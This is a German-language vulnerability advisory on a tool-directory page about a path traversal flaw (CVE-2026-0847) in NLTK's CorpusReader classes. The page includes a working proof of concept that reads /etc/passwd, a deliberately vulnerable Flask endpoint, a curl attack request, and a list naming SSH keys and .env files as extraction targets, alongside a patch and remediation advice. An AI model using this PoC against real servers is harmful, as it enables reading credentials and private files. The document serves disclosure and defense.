Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/hyperps/cve-2026-0847
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsPapers & ForschungLernen & Bildung
GitHubhyperps/cve-2026-0847

CVE-2026-0847

Eine Schwachstelle in NLTK-Versionen bis einschließlich 3.9.2 ermöglicht das beliebige Lesen von Dateien über Path Traversal in mehreren CorpusReader-Klassen, einschließlich WordListCorpusReader, TaggedCorpusReader und BracketParseCorpusReader.

Repository anzeigen
12vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-0847 — Mehrere CorpusReader-Klassen in NLTK: Beliebiges Lesen von Dateien per Path Traversal


Übersicht

FeldDetails
CVE-IDCVE-2026-0847
Paketnltk (Natural Language Toolkit)
RegistryPyPI
Betroffene Versionen<= 3.9.2
SchwachstellentypCWE-22: Path Traversal
CVSS-Score8.6 (Hoch)
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienKeine
BenutzerinteraktionKeine
Auswirkung auf VertraulichkeitHoch
Auswirkung auf IntegritätNiedrig
Auswirkung auf VerfügbarkeitNiedrig
Gemeldet am4. Dezember 2025
CVE veröffentlicht4. März 2026
Unterstützt vonPalo Alto Networks / Prisma AIRS
StatusBehoben

Beschreibung

Mehrere CorpusReader-Klassen in der NLTK-Bibliothek akzeptieren Dateipfad-Argumente, ohne eine Pfad-Kanonisierung, Allowlist-Validierung oder Sandbox-Einschränkungen anzuwenden. Wenn ein Angreifer den Korpus-Dateinamen oder die Dateieingabe kontrolliert – ein häufiges Szenario in Machine-Learning-APIs, upload-basierten NLP-Pipelines und Chatbot-Diensten – kann er einen manipulierten Pfad angeben, um die Verzeichnishierarchie zu durchlaufen und beliebige Dateien auf dem Server zu lesen.

Diese Schwachstelle ist besonders kritisch in vernetzten Bereitstellungen, in denen NLTK benutzerkontrollierte Dateipfade verarbeitet, da für ihre Ausnutzung keine Authentifizierung oder Privilegien erforderlich sind.


Betroffene Komponenten

KlasseDateiStatus
WordListCorpusReaderwordlist.py L1–L120Verwundbar
TaggedCorpusReadertagged.py L1–L140Verwundbar
BracketParseCorpusReaderbracket_parse.py L1–L150Verwundbar
Andere Klassen, die dasselbe Basis-Muster verwenden—Umfassendere Prüfung ausstehend

Alle drei Klassen erben dieselbe unsichere CorpusReader.open()-Methode, die vor der Auflösung und dem Lesen der übergebenen Dateikennung keinerlei Pfadbeschränkungen durchführt.


Auswirkungen

Eine erfolgreiche Ausnutzung dieser Schwachstelle kann Folgendes zur Folge haben:

  • Beliebiges Lesen von Dateien — Ein Angreifer kann jede Datei lesen, auf die der Prozess, der NLTK ausführt, Zugriff hat, einschließlich /etc/passwd, /etc/shadow und /var/log/auth.log
  • Offenlegung von Zugangsdaten und Geheimnissen — Private SSH-Schlüssel (~/.ssh/id_rsa), .env-Dateien, API-Tokens und Cloud-Zugangsdaten-Dateien können extrahiert werden
  • Offenlegung von Quellcode und Trainingsdaten — Trainingsdaten anderer Benutzer oder proprietärer Anwendungsquellcode können gelesen werden
  • Remote Code Execution (verkettet) — In Kombination mit Pickle-Deserialisierungsschwachstellen kann Path Traversal genutzt werden, um schädliche Modelldateien zu laden und zu vollständiger RCE zu eskalieren
  • Laterale Bewegung — In Mikroservice-Umgebungen wurde beobachtet, dass extrahierte Geheimnisse laterale Bewegung und die vollständige Kompromittierung des Servers ermöglichen

Proof of Concept

Diese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie keine Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

Lokales Lesen von Dateien über die direkte API

root@kitploit:~
# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

Ausgabe (gekürzt):

root@kitploit:~
--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

Remote-Exploit-Szenario — Verwundbare Flask-API

Ein realistisches Szenario, in dem NLTK über eine HTTP-API bereitgestellt wird:

root@kitploit:~
# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

Angreifer-Anfrage:

root@kitploit:~
curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

Ergebnis: Der vollständige Inhalt von /etc/passwd wird ohne erforderliche Authentifizierung an den Angreifer zurückgegeben.


Grundursache

Die Schwachstelle hat ihren Ursprung in CorpusReader.open(). Die Methode löst die übergebene fileid mithilfe von FileSystemPathPointer.join() direkt gegen den konfigurierten Stammpfad auf, ohne dabei eine der folgenden Prüfungen durchzuführen:

  • Ablehnung absoluter Pfade
  • Erkennung von Verzeichnis-Traversierung zum Elternverzeichnis (..)
  • Pfadnormalisierung und -vergleich, um die Beschränkung auf den Korpus-Stammordner durchzusetzen

Da FileSystemPathPointer mit / initialisiert werden kann, hat ein Angreifer, der das Dateinamen-Argument kontrolliert, uneingeschränkten Lesezugriff auf das gesamte Dateisystem.


Vorgeschlagener Patch

Minimaler, vom Forscher vorgeschlagener Fix, der innerhalb von CorpusReader.open() angewendet werden soll:

root@kitploit:~
import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

Der Upstream-Fix-PR ist verfügbar unter: https://github.com/nltk/nltk/pull/3479


Behebung

AktionDetails
NLTK aktualisierenAktualisieren Sie auf eine Version größer als 3.9.2, sobald ein offizieller Patch veröffentlicht wurde
EingabevalidierungBereinigen und validieren Sie alle benutzerbereitgestellten Dateipfadwerte, bevor Sie sie an eine NLTK-CorpusReader-Klasse weitergeben
Benutzerkontrollierte Pfade vermeidenErlauben Sie Benutzereingaben nicht, direkt oder indirekt das fileids-Argument eines CorpusReader zu steuern
Prinzip der geringsten PrivilegienFühren Sie NLTK-basierte Dienste unter einem eingeschränkten Betriebssystem-Benutzerkonto aus, dessen Lesezugriff ausschließlich auf das Korpus-Verzeichnis beschränkt ist
ContainerisierungIsolieren Sie den Dienst in einem Docker-Container oder einer Chroot-Umgebung, um den Schadensradius einer erfolgreichen Traversierung zu begrenzen
Ubuntu-PatchBeobachten Sie den Ubuntu Security Advisory für distributionsweite Paketupdates

Upgrade per pip:

root@kitploit:~
pip install --upgrade nltk

Installierte Version prüfen:

root@kitploit:~
python -c "import nltk; print(nltk.__version__)"

Chronologie

DatumEreignis
4. Dezember 2025Schwachstelle von Forscher hyperps1 an huntr.dev gemeldet
Dezember 2025NLTK-Maintainer-Team über huntr.dev benachrichtigt
Januar 2026NLTK-Maintainer hat die Schwachstelle validiert; Offenlegungs-Bounty an den Forscher vergeben
Januar 2026CVE-2026-0847 zugewiesen
Februar 202648-Stunden-Vorabwarnung an die NLTK-Maintainer gesendet
4. März 2026CVE auf NVD und huntr.dev veröffentlicht
5. März 2026NVD-Eintrag zuletzt geändert

Referenzen

RessourceLink
NVD-Eintraghttps://nvd.nist.gov/vuln/detail/CVE-2026-0847
Ubuntu Security Advisoryhttps://ubuntu.com/security/CVE-2026-0847
Offizieller CVE-Eintraghttps://cve.org/CVERecord?id=CVE-2026-0847
huntr.dev-Berichthttps://huntr.dev
Fix-Pull-Requesthttps://github.com/nltk/nltk/pull/3479
NLTK auf PyPIhttps://pypi.org/project/nltk/
OWASP Path Traversalhttps://owasp.org/www-community/attacks/Path_Traversal
CWE-22https://cwe.mitre.org/data/definitions/22.html

Haftungsausschluss

Dieses Repository dokumentiert CVE-2026-0847 ausschließlich zu Bildungs-, Forschungs- und Verteidigungszwecken. Der Proof-of-Concept-Code und die technischen Details werden bereitgestellt, um Entwickler, Sicherheitsingenieure und Systemadministratoren dabei zu unterstützen, diese Schwachstelle zu verstehen, zu bewerten und zu beheben.

Jegliche Nutzung dieser Informationen, um ohne ausdrückliche Genehmigung auf Systeme zuzugreifen, ist illegal und unethisch. Der Autor übernimmt keinerlei Haftung für den Missbrauch der hierin enthaltenen Informationen.

Mitwirkende @mohitf070304

Tool herunterladen